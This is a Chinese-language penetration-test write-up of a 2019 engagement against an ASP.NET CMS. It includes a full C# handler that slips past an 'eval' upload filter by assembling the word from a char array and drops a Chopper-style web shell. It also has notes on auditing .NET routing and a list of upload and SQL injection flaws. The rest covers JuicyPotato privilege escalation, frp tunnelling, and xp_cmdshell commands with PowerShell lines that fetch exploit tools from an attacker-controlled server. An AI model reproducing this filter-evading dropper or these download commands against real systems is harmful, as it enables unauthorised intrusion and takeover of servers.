19年的某次项目,回顾时候放出来做博客文章。
1. 后台getshell绕过
存在某处上传
这里发现上传任意文件,但是会检测文件内容,上传的不能带有eval。带有就会返回为空,不提交。
大致思路可以有:写一个文件保存的aspx,然后去访问,就可以再根目录生成一个aspx文件。不过这里很蛋疼,这个同样会检测,如果你代码里面写了eval,就会失败。这里我把eval做了一个数组,然后提交
代码如下:
<%@ WebHandler Language="C#" class="Handler" %>
eval
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
char[] letters = { 'e', 'v', 'a', 'l'}; 弄了一个数组,来防止检测eval
string st = "@ ";
string ssa = "<%";
string bb = "Page Language=\\"Jscript\\"%><%";
string aa = new string(letters);
string zcz = "(Request.Item[\\"chopper\\"],\\"unsafe\\");%>";
string payload = ssa+st+bb+aa+zcz; 做了拼接
StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));
file1.Write(payload);
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}
复制
上传成功。进入之后,权限很低,仅仅是iis用户
2. NET审计
得到shell权限之后,我分析了一波他的网站源码。
.NET core的反编译可以使用dnSpy 和 ILSpy 两个都可以
先来了解一下.NET的MVC模式
.NET的MVC路由配置
我有一个Products的请求,然后将它映射到相关的控制器,由控制器去构建Model,Model返回给控制器相关数据,控制器就将这些数据渲染给View,最终返回一个html页面给用户。
而这里要讲的路由就是,怎么把HTTP请求正确的映射给正确的Controller,并且映射到正确的方法上
路由分两种 一种是Conventional Routing 按约定配置路由
app.UseMvcWithDefaultRoute(); 使用默认路由,
复制
等价于下面这种自定义路由
app.UseMvc(routes =>
{
routes.MapRoute("default", "{controller=Home}/{action=Index}/{id?}");
}); 自定义路由,如果Http请求没有控制器,就自动找Home,没有方法就自动找Index
Http请求 ->-> HomeController下的Index action
computer/index ->-> computerController下的Index action
复制
第二种是Attribute Routing 特性路由(webapi)
例子,现在有一个controllers名为about,其有两个方法me和company
namespace Tutorial.Web.Controllers
{
[Route("about")] 这种就是。Controller级别的.想访问这个About控制器,路径必须以about开始
// [Route("[Controller]/[action]")] 或者直接这样子
public class AboutController
{
// 假设我想直接输入/About 就能访问me 就把Route留空。
[Route(" ")]
public string Me()
{
return "HH";
}
[Route("Company")] 匹配Company
public string Company()
{
return "AA";
}
}
}
? 将一个路由参数标记为 可选参数
[Route("api/product/{id:int}")] 将id参数绑定为int类型
[HttpPost]
[Route("api/product/{id}")] 标记为post类型
复制
审计过程
这个程序我一步一步来说我的思路,毕竟我才入门.NET ,可能有一点不准确。还请指出我存在的错误。
首先我要弄懂的是这个CMS是怎么去访问的,怎么映射到相关方法,权限控制哪些能访问的。
在.NET中,上面说的路由,是HTTP请求正确的映射给正确的Controller,并且映射到正确的方法上。但是在映射之前,你需要指定程序去服务才行。
web.config默认配置就有说明,怎么去服务请求的.
这是manager的配置,可以看到访问/API/ 就把请求给webapihandle去服务
这是webapihandle的文件内容
实现了一个一般处理程序处理过程
然后接受我们的参数,通过反射的方法调用其它dll中的类和方法 HttpHandler,来响应我们的http请求。
加载dll文件
通过HTTP请求来访问加载dll文件的方法和属性.例如。
http://localhost/API/SystemUser/Create/ 返回:[0]:API,[1]:SystemUser,[2]:Create</example>
复制
requestObject是加载方法,而parametValues是方法所需要的参数。然后调用该方法和类,传参,如果请求成功则返回json数组,请求失败则用自定义的json数组
这里我觉得需要注意的,它请求的类名都是以API结尾的,所有我们就能解释后面访问为什么不需要加上API。
下面这一块我尝试理解了一下,这里应该是一个改写的Route,它大概实现了对路由的控制功能,这里分三种情况
[WebAPI(false)]
不用判断登入状态[WebAPI("xxx.Access")]
判断登入状态且判断用户权限[WebAPI]
单单判断登入状态
我们没有登入的方法,所以需要去找那些不需要登入的方法。
大概说了一下我怎么去看这个cms的,下面漏洞发现过程就不一一细说了。我是一个一个方法去看,只看我能访问的。
审计结果
找了以下几个漏洞。
一处上传漏洞
一处sql注入,很明显了。直接拼接code,没有做任何处理。
一处上传漏洞,直接把文件后缀当作保存文件后缀,没自定义
又一处sql注入漏洞,带报错的
3.烂土豆提权
偶然发现这个烂土豆,windows的一个本地特权提升工具。
光提权没用,想登入3389得做映射。这里我用了frp来端口映射。
frpc -c frpc.ini
OK!
4.Mssql提权
刚好之前找到了一个mssql的数据库可以外连。
阿里云的,,服务器。
试试能不能开启mssql的命令执行
MSSQL开启命令执行
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
exec master.dbo.xp_cmdshell 'whoami';
复制
有戏。
这里我就一个命令执行,新加用户也没有权限,而且只开了1433.。。
我就想,之前用烂土豆把用户给增加了,这台机器也是2012的,说不定有戏
先把烂土豆上传上去,把烂土豆放在外网服务器上,然后用powershell下载
exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''http://你的服务器地址/JuicyPotato.exe'',''C:\Users\MSSQLSERVER\Downloads\123.exe'')"';
复制
成功!!
因为也没开3389,继续用frp映射出来
exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''服务器/frpc.exe'',''C:\Users\MSSQLSERVER\Downloads\frpc.exe'')"';
exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''服务器/frpc.ini'',''C:\Users\MSSQLSERVER\Downloads\frpc.ini'')"';
复制
作者:pw0rld,文章来源于https://pw0rld.icu/index.php/archives/4/
更多技术文章请关注公众号: